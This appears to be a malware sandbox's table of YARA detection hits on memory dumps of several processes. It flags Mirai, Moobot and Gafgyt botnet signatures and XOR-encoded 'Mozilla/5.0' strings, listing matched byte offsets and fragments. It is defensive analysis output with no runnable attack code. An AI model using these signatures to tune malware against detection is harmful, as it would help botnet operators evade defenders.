7141.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7141.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7141.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6628.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6628.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6628.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6755.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6755.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6755.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6755.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6755.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6755.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6461.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6461.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6960.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6960.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6960.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6960.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6960.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6960.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7208.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7208.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7208.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7208.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7208.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7208.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6453.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6532.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6658.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6489.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6931.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6374.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
